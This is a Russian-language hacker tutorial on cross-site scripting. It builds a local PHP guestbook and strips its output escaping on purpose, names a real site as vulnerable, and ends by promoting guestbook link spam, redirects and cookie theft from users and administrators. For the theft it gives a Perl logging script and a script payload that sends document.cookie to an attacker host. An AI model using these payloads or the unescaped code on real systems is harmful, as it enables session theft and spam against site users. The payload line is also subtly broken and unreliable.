Что такое XSS?

XSS, согласно легендам древних Хакеров, переводится как межсайтовый скриптинг (Cross Site Scripting). Внимательный читатель заметит, что абривиатуры XSS и CSS несколько отличаются друг от друга, и вот с чем это связанно.

Задолго до обнаружения такого метода атаки как XSS (по крайней мере до того, как XSS стали называть именно так), веб-дизайнеры ввели в обиход CSS стандарт (Каскадные Таблицы Стилей), которые помогали им выпендриваться и делать свои сайты не так, как у других, используя те же, собственно, html теги. Потому, при классификации XSS атак, первую букву в слове Cross было решено заменить на X ("Cross" также переводится как "Крест"). Так и пошло.

Для того, чтобы правильно понять материал, у Вас должны быть хотя бы малейшие знания языка гипертекстовой разметки, ну и вообще примерное понимание общения браузера и веб-сервера. Скажу также, что данный метод атаки в целом не сложен, и вполне сносно излагается в рамках одной статьи. Если что-то будет "непониматься", значит либо у вас мало мозгов, либо у вас мало пива. Если без первого еще можно и обойтись, то без второго даже не знаю... Кому как. =)

Суть Атаки:

Сразу расставим точки над "i" - XSS это не атака на сайт или удаленный сервер! Это атака на пользователя этого сайта и не больше. Сайту в целом по барабану - в случае, если Хакер смог провести XSS атаку, скрипт просто будет выдавать, вместе с основным html контентом, задуманным автором сайта, некоторую последовательность кода. Серверу от этого ни тепло, ни холодно. А вот пользователю как раз может быть очень и очень жарко... Не врубился о чем речь? Ну так правильно, мы еще ни словом не задели сам процесс проведения атаки. Читай дальше.

К XSS - атакам сайт становится уязвим, когда один из его сценариев кушает всю передаваемую строку, без всякой фильтрации на запрещенные символы. Что я имел в виду под фразой "запрещенные символы"? Это знаки разметки, то есть зарезервированные, "рабочие" символы языка html. Рассмотрим знак меньше или больше (""). Как мы знаем, они используются в языке html для разметки и обозначения тегов. И браузер интерпретирует их именно в этом контексте. Если мы попробуем сказать браузеру нечто типа:

<p> В данном математическом примере очевидно, что b<a, и >c

В данном математическом примере очевидно, что bc. Ведь очевидно, что сочетание символов "<" и "a" для него объявление гиперссылки. То есть в коде (по мнению браузера) объявляется ссылка, и затем он ищет закрывающий тег, и находит его! Как раз для этих целей в html есть альтернативное обозначение некоторых символов, например:
& & амперсанд
< < знак "меньше"
> > знак "больше"
Где первой колонкой идет имя, затем код, вид, и описание.

Представим себе, что у нас есть гостевая книга, в которую может писать любой желающий. Он вводит свое имя, текст сообщения, и жмет кнопку "отправить". Данные из полей отправляются сценарию. Минимальная задача сценария такова: прочитать данные из полей, и добавить в html страницу гостевой книги, например следующие теги:

<h6> Name </h6>
<p>Text

Где заместо Name он подставит данные из поля "Имя", и вместо Text будет идти собственно само сообщение. Что будет, если мы попробуем вставить в текст то предложение, которое мы пробовали скормить браузеру (про a и b)? Он просто добавит к странице гостевой книги текст как он есть и все. А открыв повторно ее браузером мы столкнемся с такой же проблемой.

Чтобы примерно донести суть XSS уязвимости сайта, я заснял небольшой ролик, где на примере дырявого elefant.ru попытался представить атаку в более понятной форме.

Скачать ролик

Кстати, еще забавно, если попробовать в строку поиска вбить:

<input type=button onclick=alert('Hack')>
XSS: Анатомия Cross Site Scripting. Атака на пользователя.

:). Где же тут XSS-атака? Нету! Ведь код у нас совсем не вредоносный. Но если в текст сообщения вставить нечто начинающееся со слов <script ... , то кажется начинает пахнуть жареным. Не чувствуешь? Ну да, возможно слишком сложно. Поэтому предлагаю рассмотреть все на практике.

Готовим полигон:

Для того, что бы рассмотреть все аспекты атаки, и, заодно, потренироваться, предлагаю сделать две вещи:

- Во первых создать скрипт дырявой гостевой книги;
- Запустить сервер на локалхосте;

Ставим сервер:

Начнем со второго. Перейдем на сайт _http://www.denwer.ru/ и скачаем от туда последнюю версию Денвера. Денвер - уникальная софтина, позволяющая в кратчайший срок поднять на локалхосте вполне работоспособный сервер. Очень полезен разработчикам, для локального теста скриптов.

С установкой проблем возникнуть не должно - программа сама инициализирует и установит все необходимые модули.

Запустив денвер с помощью ярлыка на рабочем столе "Start Denwer" наберем в адресной строке браузера строчку localhost. Если увидим некий ответ от Денвера - значит сервер работает.

Если в процессе установки вы указали создать виртуальный диск под именем "Z", то файлы/скрипты должны хранится в папке "Z:\home\localhost\www".

Поместим в данный каталог файл index.html с таким содержанием:

<html>
<head><title>My First Web-Page</title></head>
<body> Это работает! </body>
</html>

И набрав в браузере "" мы убедимся, что все работает как по маслу. Теперь перейдем к созданию гостевой книги.

Поднимаем гостевую книгу:

Во первых создадим в нашей корневой папочке (Z:\home\localhost\www) файл с именем index.php, и запишем в него следующие строки:

<?php
include 'show_message.php';
include 'form.inc';
?>

Как следует из содержания, нужно создать еще два файла. Это form.inc:

<form name="gbook" target="_self" method="post" action="gbook_add.php">
Ваше имя: <br>
<input type="text" name="username"><br>
Ваш e-mail:<br>
<input type="text" name="email"><br>
Ваше сообщение:<br>
<textarea name="message" rows="6" cols="37"></textarea><br>
<input type="submit" name="send" value="Добавить сообщение">
</form> 

И show_message.php:

<?php
$filename = "messages.dat";
$delitmer = "<|-|>";
$shablon = '
<table border="1" width="100%">
    <tr>
        <td width="100%">Имя пользователя: <a href="mailto:%email%">%username%</a></td>
    </tr>
    <tr>
        <td width="100%">%message%</td>
    </tr>
    <tr>
        <td width="100%" align="right">%add_date%</td>
    </tr>
</table>
<br>';

$data = @file($filename);

foreach($data as $val)
{
  list($username, $email, $message, $date) = explode($delitmer, trim($val));
  $tmp_message = str_replace("%username%", $username, $shablon);
  $tmp_message = str_replace("%email%", $email, $tmp_message);
  $tmp_message = str_replace("%message%", $message, $tmp_message);
  $tmp_message = str_replace("%add_date%", $date, $tmp_message);
  echo $tmp_message;
}
?>

Файл form.inc просто выводит html-форму для добавления нового сообщения. А скрипт show_message.php выводит в index.php все сообщения из файла messages.dat, который мы должны тоже создать, и оставить пустым. Самый главный скрипт - скрипт добавления сообщения в наш файл, имитирующий базу данных, будет называться gbook_add.php, и иметь такой вид:

<?php
$filename = "messages.dat";
$delitmer = "<|-|>";
$username_limit = 50;
$email_limit = 80;
$message_limit = 500;

if (isset($_POST))
{
    if (isset($_POST['username']) & isset($_POST['email']) & isset($_POST['message']))
    {
         if (((strlen($_POST['username'])>0) & (strlen($_POST['username'])<=$username_limit)) &
            ((strlen($_POST['email'])>0) & (strlen($_POST['email'])<=$email_limit)) &
            ((strlen($_POST['message'])>0) & (strlen($_POST['message'])<=$message_limit)))
            {
                $username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
                $email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
                $message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
                $arr = array($username, $email, $message, date("d.m.Y"));
                $new_message = implode($delitmer, $arr) . "\r\n";
                $messages_arr = @file($filename);
                $messages_str = $new_message;
                $messages_str .= trim(implode("", $messages_arr));

                $fp = fopen($filename, "w+");
                fwrite($fp, $messages_str);
                fclose($fp);
                echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"2; URL=index.php\">";
                echo "Ваше сообщение добавленно!";
            }
            else
            {
                echo "Ошибка!!!<br>Не все данные введенны, либо в одном из полей формы слишком мало символов.";
            }
    }
}
?>

Все! Гостевая книга готова... Если запутался - резюмирую:

В папке Z:\home\localhost\www у нас лежит 5 файлов:

gbook_add.php - добавляет сообщения, при нажатии кнопки "Добавить";
messages.dat - пустой файл, в нем будут храниться сообщения;
show_message.php - скрипт выводящий сообщения из файла messages.dat;
form.inc - форма для добавления сообщения;
index.php - индексная страница;

Код всех файлов я привел выше. Но прилагаю также готовые файлы, на всякий случай. Их нужно просто сохранить в папку Z:\home\localhost\www:

files.rar [1,45 Kb] (cкачиваний: 52)

- все пять файлов в одном архиве;

Проверим работоспособность скрипта, переходим по ссылке http://localhost/index.php и пробуем добавить сообщение. Имя, мыло пишем абсолютно любое, а вот сообщение добавим такого типа:

Всем <h1>привет</h1>!

Жмем добавить, обновляем страницу и видим, что ничего собственно не произошло... "Запрещенные" символы у нас отображаются, как ни в чем не бывало, и слово "привет" не отличается от слова "всем". Это произошло из-за того, что в скрипте присутствует примитивная защита от такого рода атаки. Откроем скрипт gbook_add.php и найдем там строки

$username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
$email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
$message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message'])); 
Удалим из каждой подстроку "htmlspecialchars", то есть выглядеть они у нас будут так:
$username = str_replace("\r\n", "<br>", ($_POST['username']));
$email = str_replace("\r\n", "<br>", ($_POST['email']));
$message = str_replace("\r\n", "<br>", ($_POST['message'])); 

Теперь добавим тоже самое сообщение! Вот. Теперь получилось... мы вовсе не видим тегов
<h1> и
</h1>, зато заметно, что браузер вполне нормально их интерпретировал.

Заключение. Что осталось за кадром?

Я не показал тебе, как из XSS уязвимости делать себе выгоду. Все эти теги, в сущности ничем не полезны. А полезных моментов может быть несколько:

Ссылки: Мы можем поставить _прямую_ ссылку на наш ресурс в гостевой книге, да еще с указанием каким угодно title. Например:
Академия Хакеров. Прямая ссылка может повышать наш PR и тИЦ, и вообще пойдет на пользу. Дырявые гостевые отличное подспорье для различных спам сервисов.

Переадресации, всплывающие окна, на наш сайт.

Кража кукисов: Написав небольшой cgi скрипт, к примеру, мы можем воровать куки пользователей, в том числе и администраторов портала. Выглядеть это может так:
#!/usr/bin/perl -w

# открываем файл cookies.txt для добавления инфы

open COOKIES,">>../cookies.txt";

print "Content-Type: text/html\n\n";

# добавляем в файл метку, благодаря которой можно

# увидеть, где начинается похищенный кукис

print COOKIES "----------- new cookie -----------\n";

# записываем переменную окружения QUERY_STRING,

# содержащую параметры, передаваемые скрипту,

# через которые хакер будет передавать данные кукиса

print COOKIES "$ENV{'QUERY_STRING'}\n";

# записываем в файл метку «конец кукиса»

print COOKIES "---------- end of cookie ---------\n\n";

# закрываем cookies.txt, записанная инфа сохраняется

close COOKIES;
Тогда в тексте письма нужно прописать нечто типа
<script>value='http://hacksite.ru/cookie.cgi?' + document.cookie;</script>
Куки будут наши!

-----

В общем место для фантазии есть. Я всего лишь хотел указать разработчикам веб-приложений на самые-самые распространенные ошибки при написании скриптов. Остерегайтесь их, и удачи...